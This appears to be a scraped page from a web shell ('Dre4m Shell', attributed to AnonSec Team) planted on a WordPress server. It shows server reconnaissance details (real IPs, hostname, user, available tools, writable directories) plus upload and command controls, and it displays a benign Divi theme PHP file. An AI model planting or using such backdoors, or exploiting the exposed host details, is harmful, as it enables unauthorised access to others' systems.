Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.224.43.98
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/wordpress/wp-content/themes/Divi/includes/builder/post/query/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/wordpress/wp-content/themes/Divi/includes/builder/post/query/Layouts.php
<?php


class ET_Builder_Post_Query_Layouts extends ET_Core_Post_Query {

	/**
	 * Whether or not to automatically exclude product tour layouts from the results.
	 *
	 * @since 3.0.99
	 * @var bool
	 */
	protected $_exclude_product_tour = true;

	/**
	 * @inheritDoc
	 */
	protected function _add_tax_query( $tax_name, $args, $negate = null ) {
		$args   = self::$_->array_flatten( $args );
		$negate = $this->_reset_negate();

		if ( ! $args ) {
			return $this;
		}

		parent::_add_tax_query( $tax_name, $args, $negate );

		return $this;
	}

	public function in_pack() {
		$args = func_get_args();

		return $this->with_tag( $args );
	}

	public function is_fullwidth() {
		$tax_name = ET_Builder_Post_Taxonomy_LayoutWidth::instance()->name;

		return $this->_add_tax_query( $tax_name, array( 'fullwidth' ) );
	}

	public function is_type() {
		$tax_name = ET_Builder_Post_Taxonomy_LayoutType::instance()->name;
		$args     = func_get_args();

		return $this->_add_tax_query( $tax_name, $args );
	}

	/**
	 * @inheritDoc
	 */
	public function run( $args = array() ) {
		$exclude_product_tour = apply_filters( 'et_builder_layout_query_exclude_product_tour', $this->_exclude_product_tour );

		if ( $exclude_product_tour ) {
			$this->not()->with_meta( '_et_pb_layout_applicability', 'product_tour' );
		}

		return parent::run( $args );
	}

	/**
	 * @inheritDoc
	 */
	public function with_meta( $key, $value = null ) {
		if ( '_et_pb_layout_applicability' === $key && 'product_tour' === $value ) {
			$this->_exclude_product_tour = false;
		}

		return parent::with_meta( $key, $value );
	}

	public function with_scope() {
		$tax_name = ET_Builder_Post_Taxonomy_LayoutScope::instance()->name;
		$args     = func_get_args();

		return $this->_add_tax_query( $tax_name, $args );
	}
}

Anon7 - 2022
AnonSec Team